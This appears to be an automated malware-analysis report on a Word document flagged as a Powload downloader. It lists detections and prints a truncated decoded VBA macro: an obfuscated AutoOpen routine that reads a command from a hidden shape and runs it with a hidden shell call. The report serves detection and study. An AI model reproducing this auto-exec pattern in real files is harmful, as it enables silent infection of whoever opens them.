MALICIOUS
142
Risk Score
Heuristics 5
-
ClamAV: Doc.Downloader.Powload-6769651-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Powload-6769651-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4317 bytes |
SHA-256: 1f02b8d6f37196932880dd9c64eb6fd1d0ee72b35bcb0ad4d7879c67016420fc |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "vfiQkVjmjUMaE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
If XsisoOWj Xor mRlnc Then
bJNwzj = KWORjG
End If
If BzHtTz Xor SEYBH Then
rBfEjlZI = Sgn(VwlBKiIiX)
End If
QQAnKrT = (LIFowqB - CDbl(140986258) / rJhwj + Sgn(68556777)) - 25072658 + CInt(KHRpZKa) - 8917402 * Fix(147506319 * Oct(OqOUMPINz))
Set jzvApYQUq = jGwIAjBn
On Error Resume Next
If lLpXknlEZ Xor krikqDT Then
UqKzE = QDpXAhmw
End If
If MItiFdhpv Xor RoFjanqE Then
WakoHE = Sgn(hwOEs)
End If
lASbwZNa = (BOJnwKTO - CDbl(235585072) / cScQb + Sgn(137898856)) - 254937295 + CInt(wvjbrvb) - 20565919 * Fix(32846060 * Oct(zrRqtk))
Set WiUIwNk = tQWJjqG
Set PfCaWOLtF = Shapes("CnOchIQ")
On Error Resume Next
If qjOzDi Xor jGzkbVK Then
KJKsGaJ = KWiJz
End If
If GbcqdqhNR Xor UajCQGj Then
bYUpH = Sgn(dpjiDaZUb)
End If
AXHkrTuw = (fYjtHkEnd - CDbl(226960590) / iQUdNoK + Sgn(336120833)) - 64919348 + CInt(EAwwCswwI) - 50454555 * Fix(195490212 * Oct(zbazvZz))
Set nvlCFjDiX = JvnBb
On Error Resume Next
If EXzCr Xor HCqSK Then
uohYQNoGF = uDrjhu
End If
If wGOnpDYV Xor fuQIotcA Then
dOrsk = Sgn(wutduKITM)
End If
tMvJFl = (Dditp - CDbl(323766671) / AaqcDjs + Sgn(26210325)) - 141832848 + CInt(puKvbc) - 147866915 * Fix(177256138 * Oct(puhhq))
Set sFoPC = IzXcU
On Error Resume Next
If ucwRIkF Xor DlNQcNVY Then
zztQvREjE = sDitTtYnI
End If
If iuftiCIkJ Xor tcqSbISI Then
KtiEvMiZs = Sgn(XEZNbJFUz)
End If
tJTaWvQM = (RLbQpz - CDbl(20027436) / pkjzd + Sgn(104794238)) - 277358829 + CInt(dUPPJVoS) - 174984953 * Fix(35354168 * Oct(ZHizw))
Set NajvnkP = IQjTiQt
zJCYurYd = "" + japrbU + McALSmH + PfCaWOLtF.TextFrame.TextRange.Text + szbKaE + RjwnTG
On Error Resume Next
If zHWkjM Xor whJPSFIw Then
hZBzQjPcR = uamCCaJ
End If
If YfZEqzTsA Xor BwVOupz Then
jNuTrtTK = Sgn(ILiHpJ)
End If
kRTci = (fXjoa - CDbl(126764372) / ffwER + Sgn(303045269)) - 316998141 + CInt(Fnflf) - 217292170 * Fix(74609045 * Oct(VTMoLicW))
Set BdhXmDT = HmcPZpvNJ
On Error Resume Next
If PlZqpZf Xor fMucEiblZ Then
swCpCE = FRIBzrCGQ
End If
If IIbFE Xor cXmEGZTj Then
HLoISaj = Sgn(zkHWzhV)
End If
VoWSczKoK = (RPAkjwb - CDbl(166160789) / fOzwiYncV + Sgn(318272471)) - 100069385 + CInt(pQMkkzN) - 338723888 * Fix(63517030 * Oct(AzsIT))
Set ODJvYrp = XqnupVp
On Error Resume Next
If XkOoXI Xor FcoiXDm Then
qtPsU = wItkj
End If
If KdlHmQUpJ Xor infnDZICw Then
cGSojSq = Sgn(YbUEnK)
End If
bqjrGj = (rvOcMjBZA - CDbl(284523010) / EVDLzYTa + Sgn(61099636)) - 109822060 + CInt(bazVZbjb) - 72307416 * Fix(276645183 * Oct(fPXZHGJJz))
Set dQjpJQt = XfajI
On Error Resume Next
If olFRtES Xor hbdzqWUaH Then
ZjpqSMXda = aiHwkrDkC
End If
If wRKqwKPiC Xor JICJR Then
ozSstQd = Sgn(VDTjOwT)
End If
XJwIVwuI = (obXlRcwfG - CDbl(20641839) / RJDio + Sgn(254461154)) - 139223241 + CInt(qiTDjZlsK) - 59679732 * Fix(53539363 * Oct(DJvEpFnD))
Set VBIvOSN = PTidB
Interaction.Shell@ zJCYurYd + rHZpZjz + onXRNRzR, vbHide
On Error Resume Next
If NWvUt Xor fkRWlF Then
KBwtk = dfIMoH
End If
If BfifjsY Xor UvukTif Then
kJHGVDDL = Sgn(wLnbEJ)
End If
NUMzF = (qthdpFEJ - CDbl(112679892) / wwYDhADz + Sgn(180914089)) - 126494494 + CInt(jjkDPl) - 262861469 * Fix(151894472 * Oct(VfdzTNZrN))
Set HDfdpijGZ = ROYmSG
On Error Resume Next
If HGArpj Xor jUbdwvjEh Then
SCKVK = EfnImrjEK
End If
If JIuVmWfwf Xor fOrrIdD Then
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.